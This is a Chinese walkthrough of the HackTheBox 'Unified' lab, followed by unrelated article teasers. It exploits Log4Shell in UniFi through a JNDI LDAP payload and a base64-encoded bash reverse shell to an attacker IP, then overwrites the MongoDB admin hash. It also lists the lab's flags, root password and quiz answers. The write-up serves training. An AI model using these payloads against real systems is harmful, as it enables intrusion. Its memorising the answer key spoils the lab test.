HTB-Unified(log4j2漏洞、MongoDb替换管理员密码)
前言
- 各位师傅大家好,我是qmx_07,今天给大家讲解Unified靶机

渗透过程
信息搜集



- 服务器开放了SSH服务,HTTP服务
访问网站 验证log4j2漏洞
- 8443端口:UniFi 网络 ,访问查询 是否有Nday漏洞利用

- 可以观察到UniFi的版本号:6.4.54

- 通过搜索引擎查询,该服务拥有CVE-2021-44228 漏洞

- 使用tcpdump工具 监听网卡流量

- 通过修改remember字段
${jndi:ldap://10.10.16.2/o=tomcat}

- 可以看到UniFi服务器 对 本地服务器 发起了请求,确认存在log4j2漏洞
利用log4j2漏洞,反弹会话
- 工具准备:
准备工具:
1.openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y
2.Maven
sudo apt-get install maven -y
3.编译maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
rogue-jndi:开启本机ldap服务,允许接收其他服务器数据,可执行代码
- 生成反弹命令 进行base64加解密:

echo 'bash -c bash -i >&/dev/tcp/10.10.16.2/4444 0>&1' | base64

使用命令:
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" --hostname "10.10.16.2"
- 这段代码的意思是 使用之前制作的base64 反弹代码,进行base64解密,bash加载,目标是10.10.16.2
- 同时要监听端口会话,等待反弹

"${jndi:ldap://10.10.16.2:1389/o=tomcat}"
- 通过remember字段 构造命令,反弹会话

script /dev/null -c bash
- 监听端口,稳固会话
通过修改mongoDb数据库 管理员密码,进入网站后台
- 查询unifi 中间件的数据库,一般默认是mongdb数据库
- mongdb默认数据库为ace

- 数据库端口开放在 27117

mongo --port 27117 ace
- 指定端口号,连接mongo数据库

db.admin.find().forEach(printjson);
- 通过这个命令可以枚举用户信息,并且以json格式打印

- 通过hashid工具 分析哈希值使用的加密方式

- 通过mkpasswd 设置哈希编码,构造新密码

db.admin.update({"_id":
ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$0dOBQ6ZeDhxJi9Df$HEFkxcqfmWhHbyt0h4WAAzRNqg9n.19ryJfXy.ZcRkcAWKvjy9IQ42OAjRRafoEXTf5ZqzVByYnIuk9U/a8Py1"}});
- 查找administrator管理员账户id,修改密码 为之前生成的哈希密码,更新成功

- 成功进入后台
通过后台提供的ssh,获取flag

- 账号:root
- 密码:NotACrackablePassword4U2022

- 登录用户

- 用户flag:6ced1a6a89e666c0620cdb10262ba127

- root flag:e50bc93c75b634e4b272d2f771c33681
知识点讲解
- 受影响版本:
Apache Log4j 2.x <= 2.14.1
- 受影响的应用组件:
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
- log4j2漏洞原理:
log4j2 框架下的 lookup服务提供了 {}字段解析功能,传进去 的 值会 被 直接解析,JNDI服务会请求 远程服务 来 连接 本地对象,这时候 只用在{}里面调用JNDI服务即可 反弹shell 到指定服务器
- 流量特征:
数据包里面有{jndi: ldap}字段
- 修复:
1.禁止 用户 请求 参数 出现 攻击关键字
>2.禁止 lookup 下载远程文件
3.禁止 log4j2 应用 连接外网
答案
- 1.服务器开放的前四个端口是什么?
22,6789,8080,8443
- 2.8443端口运行服务的标题是什么?
UniFi Network
- 3.中间件版本是多少?
6.4.54
- 4.此CVE编号是多少?
CVE-2021-44228
- 5.JNDI注入使用什么协议?
ldap
- 6.用什么工具来监测网卡,验证是否存在漏洞?
TcpDump
- 7.需要拦截哪个流量端口?
389
- 8.Mongod服务运行在哪个端口?
27117
- 9.UniFi 在Mongod数据库的默认库是什么?
ace
- 10.在Mongod数据库中使用什么命令来枚举用户信息?
db.admin.find()
- 11.在Mongod数据库中使用什么明来来更新数据?
db.admin.update()
- 12.root用户的密码是什么?
NotACrackablePassword4U2022
- 13.用户flag是什么?
6ced1a6a89e666c0620cdb10262ba127
- 14.root flag是什么?
e50bc93c75b634e4b272d2f771c33681
总结
- 我们介绍了log4j2 漏洞 原理、流量特征、修复意见、利用过程 和 Mongod数据库 更换 管理员密码 登录后台,使用hashid 分析哈希值、mkpasswd 来生成密码
相关文章:
HTB-Unified(log4j2漏洞、MongoDb替换管理员密码)
前言 各位师傅大家好,我是qmx_07,今天给大家讲解Unified靶机 渗透过程 信息搜集 服务器开放了SSH服务,HTTP服务 访问网站 验证log4j2漏洞 8443端口:UniFi 网络 ,访问查询 是否有Nday漏洞利用 可以观察到UniFi的版…...
每天五分钟深度学习PyTorch:不同的神经网络层设置不同的学习率
本文重点 我们前面学习了基本网络模型的搭建,获取网络模型的子结构,以及优化器optim,我们发现我们设置优化器的时候,是对整个模型设置的,也就是说整个模型的参数学习率是一样,本节课程我们学习如何给不同的网络层设置不同的学习率。主要还是通过优化器optim来实现的,本…...
【渗透测试】——DVWA靶场搭建
📖 前言:DVWA(Damn Vulnerable Web Application)是一个用于安全漏洞测试的 PHP/MySQL 网络应用,旨在为安全专业人士提供一个合法的环境,以测试他们的技能和工具,同时帮助 Web 开发者更好地理解 …...
国内人工智能产业发展现状及对策研究
一、引言 人工智能作为新时代科技革命和产业变革的核心力量,正深刻改变着全球经济格局。我国政府高度重视人工智能产业发展,将其列为国家战略性新兴产业。在此背景下,本文旨在分析我国人工智能产业发展现状,探讨面临的挑战&#x…...
完整版订单超时自动取消功能
前几天对实习还是继续学习技术产生了抉择,问了一个前辈,他抛给我一个问题,怎么做15分钟订单自动取消,我说然后到时间之后,自动执行这个订单关闭业务,比如把锁了的库存给解开等等操作,然后在数据…...
算法刷题:300. 最长递增子序列、674. 最长连续递增序列、718. 最长重复子数组、1143. 最长公共子序列
300. 最长递增子序列 1.dp定义:dp[i]表示i之前包括i的以nums[i]结尾的最长递增子序列的长度 2.递推公式:if (nums[i] > nums[j]) dp[i] max(dp[i], dp[j] 1); 注意这里不是要dp[i] 与 dp[j] 1进行比较,而是我们要取dp[j] 1的最大值…...
go 笔记
数据结构与 方法(增删改查) 安装goland,注意版本是2024.1.1,不是2024.2.1,软件下载地址也在链接中提供了 ‘go’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。 在 Windows 搜索栏中输入“环境变量”&#…...
路由等保测评
1.身份鉴别 应对登录的用户进行身份标识和鉴别, 身份标识具有唯一性,身份鉴别信息具有复杂度要求并定期更换。 可以使用“ service password-encryption"命令对存储在配置文件中的所有口令和类似数据进行加密, 以避免攻击者通过读取配…...
C# 反射之动态生成dll/exe
这个可能应该属于反射的高级使用范围了,平常在项目中使用的人估计也不是很多。由于使用反射的话会降低性能,比如之前用到的GetValue、SetValue等之类,但是使用这种方式会大大提高效率,在这里我只想说,都直接写IL指令了…...
Rust 所有权 Slices
文章目录 发现宝藏1. Slice 的基础知识1.1 什么是 Slice?1.2 如何创建 Slice? 2. 处理字符串 Slice2.1 字符串的 Slice2.2 字符串的 Unicode 和切片 3. 在函数中使用 Slice3.1 传递 Slice 给函数3.2 可变 Slice 的函数 4. 复杂示例4.1 处理多维数组的 Sl…...
windows 安全与网络管理问题
问题:当编写的脚本或程序运行的时候,可能被windows阻止访问网络甚至被删除 避免被删除 wini 进入设置界面 -> 选择更新与安全 -> 选择windwos defender -> 点击添加排除项,将指定的文件或目录排除,避免被软件删除 允许…...
基于Python实现一个庆祝国庆节的小程序
功能: 添加互动功能:允许用户选择不同的祝福语或者查询不同的国庆节信息。动态背景音乐:播放国庆节相关的背景音乐。增加节日小测验:提供一些关于国庆节的趣味小测验,让用户参与。增强图形用户界面 (GUI):…...
Anaconda 安装与使用教程
Anaconda 安装与使用教程 介绍 Anaconda 是一个用于科学计算的 Python 和 R 的发行版,它包含了众多流行的科学计算、数据分析、机器学习等领域的库。本教程旨在帮助初学者快速上手 Anaconda,并学会如何使用其管理环境以及安装包。 第一步:…...
时序预测SARIMAX模型
1. 项目背景 本文基于kaggle平台相关竞赛项目,具体连接如下: Time Series Forecasting With SARIMAX 基本信息如内容说明、数据集、已提交代码、当前得分排名以及比赛规则等,如图【1】所示,可以认真阅读。 图 1 2. 数据读取 …...
gin集成jaeger中间件实现链路追踪
1. 背景 新业务线带来新项目启动,需要改进原有项目的基础框架和组件能力,以提升后续开发和维护效率。项目搭建主要包括技术选型、框架搭建、基础服务搭建等。这其中就涉及到链路追踪的内容,结合其中的踩坑情况,用一篇文章来说明完…...
前端层面----监控与埋点
前言: 站在产品的视角,经常会问如下几个问题: 产品有没有用户使用 用户用得怎么样 系统会不会经常出现异常 如何更好地满足用户需求服务用户 当站在技术视角时,经常会问如下几个问题: 系统出现异常的频率如何 异常…...
linux Command
linux Command 1. 系统监控命令 1.1 top top [param] top -H -p pid,查看进程pid下面的子线程。-b以处理模式操作-c显示完整的命令行而不只是显示命令名。-d 屏幕刷新间隔时间。-l 忽略失效过程。-s 保密模式。-S 累积模式。-u 【用户名】 指定用户名。-p 【进程…...
uniapp登录页面( 适配:pc、小程序、h5)
<!-- 简洁登录页面 --> <template><view class"login-bg"><image class"img-a" src"https://zhoukaiwen.com/img/loginImg/2.png"></image><image class"img-b" src"https://zhoukaiwen.com/im…...
关于OceanBase 多模一体化的浅析
在当今多元化的业务生态中,各行各业对数据库系统的需求各有侧重。举例来说,金融风控领域对数据库的高效事务处理(TP)和分析处理(AP)能力有着严格要求;游戏行业则更加注重文档数据库的灵活性和性…...
快速git
下载 sudo apt install git配置 $ git config --global user.name "John Doe" $ git config --global user.email johndoeexample.com没有空格可以不加双引号如果~/.ssh没有先创建(下一步用) ssh方式制作密钥 github解释 #以邮箱作为标签…...
Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件
今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...
python如何将word的doc另存为docx
将 DOCX 文件另存为 DOCX 格式(Python 实现) 在 Python 中,你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是,.doc 是旧的 Word 格式,而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...
微信小程序云开发平台MySQL的连接方式
注:微信小程序云开发平台指的是腾讯云开发 先给结论:微信小程序云开发平台的MySQL,无法通过获取数据库连接信息的方式进行连接,连接只能通过云开发的SDK连接,具体要参考官方文档: 为什么? 因为…...
Hive 存储格式深度解析:从 TextFile 到 ORC,如何选对数据存储方案?
在大数据处理领域,Hive 作为 Hadoop 生态中重要的数据仓库工具,其存储格式的选择直接影响数据存储成本、查询效率和计算资源消耗。面对 TextFile、SequenceFile、Parquet、RCFile、ORC 等多种存储格式,很多开发者常常陷入选择困境。本文将从底…...
免费PDF转图片工具
免费PDF转图片工具 一款简单易用的PDF转图片工具,可以将PDF文件快速转换为高质量PNG图片。无需安装复杂的软件,也不需要在线上传文件,保护您的隐私。 工具截图 主要特点 🚀 快速转换:本地转换,无需等待上…...
三分算法与DeepSeek辅助证明是单峰函数
前置 单峰函数有唯一的最大值,最大值左侧的数值严格单调递增,最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值,最小值左侧的数值严格单调递减,最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...
苹果AI眼镜:从“工具”到“社交姿态”的范式革命——重新定义AI交互入口的未来机会
在2025年的AI硬件浪潮中,苹果AI眼镜(Apple Glasses)正在引发一场关于“人机交互形态”的深度思考。它并非简单地替代AirPods或Apple Watch,而是开辟了一个全新的、日常可接受的AI入口。其核心价值不在于功能的堆叠,而在于如何通过形态设计打破社交壁垒,成为用户“全天佩戴…...
Sklearn 机器学习 缺失值处理 获取填充失值的统计值
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 使用 Scikit-learn 处理缺失值并提取填充统计信息的完整指南 在机器学习项目中,数据清…...
C++--string的模拟实现
一,引言 string的模拟实现是只对string对象中给的主要功能经行模拟实现,其目的是加强对string的底层了解,以便于在以后的学习或者工作中更加熟练的使用string。本文中的代码仅供参考并不唯一。 二,默认成员函数 string主要有三个成员变量,…...
深度解析云存储:概念、架构与应用实践
在数据爆炸式增长的时代,传统本地存储因容量限制、管理复杂等问题,已难以满足企业和个人的需求。云存储凭借灵活扩展、便捷访问等特性,成为数据存储领域的主流解决方案。从个人照片备份到企业核心数据管理,云存储正重塑数据存储与…...
